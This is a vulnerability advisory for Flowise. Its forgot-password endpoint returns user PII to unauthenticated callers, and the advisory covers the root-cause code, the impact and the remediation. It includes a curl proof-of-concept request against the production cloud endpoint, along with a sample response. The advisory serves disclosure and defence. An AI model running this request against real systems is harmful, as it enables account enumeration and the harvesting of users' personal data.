Flowise Vulnerable to PII Disclosure on Unauthenticated Forgot Password Endpoint
Summary
The /api/v1/account/forgot-password endpoint returns the full user object including PII (id, name, email, status, timestamps) in the response body instead of a generic success message. This exposes sensitive user information to unauthenticated attackers who only need to know a valid email address.
Vulnerability Details
| Field | Value |
|-------|-------|
| CWE | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor |
| Affected File | packages/server/src/enterprise/services/account.service.ts (lines 517-545) |
| Endpoint | POST /api/v1/account/forgot-password |
| Authentication | None required |
| CVSS 3.1 | 3.7 (Low) |
Root Cause
In account.service.ts, the forgotPassword method returns the sanitized user object instead of a simple success acknowledgment:
```typescript
public async forgotPassword(data: AccountDTO) {
// ...
const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)
data.user = user
// ... password reset logic ...
return sanitizeUser(data.user) // Returns user object with PII
}
```
The sanitizeUser function only removes sensitive authentication fields:
```typescript
export function sanitizeUser(user: Partial<User>) {
delete user.credential // password hash
delete user.tempToken // reset token
delete user.tokenExpiry
return user // Still contains: id, name, email, status, createdDate, updatedDate
}
```
Impact
An unauthenticated attacker can:
1. Harvest PII: Collect user IDs, full names, and account metadata
2. Profile users: Determine account creation dates and activity patterns
3. Enumerate accounts: Confirm email existence and gather associated data
4. Enable further attacks: Use harvested data for social engineering or targeted phishing
Exploitation
```bash
curl -X POST "https://cloud.flowiseai.com/api/v1/account/forgot-password" \
-H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]"}}'
```
Evidence
Request:
```http
POST /api/v1/account/forgot-password HTTP/1.1
Host: cloud.flowiseai.com
Content-Type: application/json
{"user":{"email":"[email protected]"}}
```
Response (201 Created):
```json
{
"id": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
"name": "Vefag naprb",
"email": "[email protected]",
"status": "active",
"createdDate": "2026-01-17T15:21:59.152Z",
"updatedDate": "2026-01-17T15:35:06.492Z",
"createdBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
"updatedBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12"
}
```
<img width="1582" height="791" alt="screenshot" src="https://github.com/user-attachments/assets/9880f037-6e21-41d7-a7c8-7057c6775b50" />
Exposed Data
| Field | Risk |
|-------|------|
| id | Internal user UUID - enables targeted attacks |
| name | Full name - PII disclosure |
| email | Email confirmation |
| status | Account state information |
| createdDate | User profiling |
| updatedDate | Activity tracking |
| createdBy / updatedBy | Internal reference leak |
Expected Behavior
A secure forgot-password endpoint should return a generic response regardless of whether the email exists:
```json
{"message": "If this email exists, a password reset link has been sent."}
```
References
- [CWE-200: Exposure of Sensitive Information](https://cwe.mitre.org/data/definitions/200.html)
- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#password-recovery)
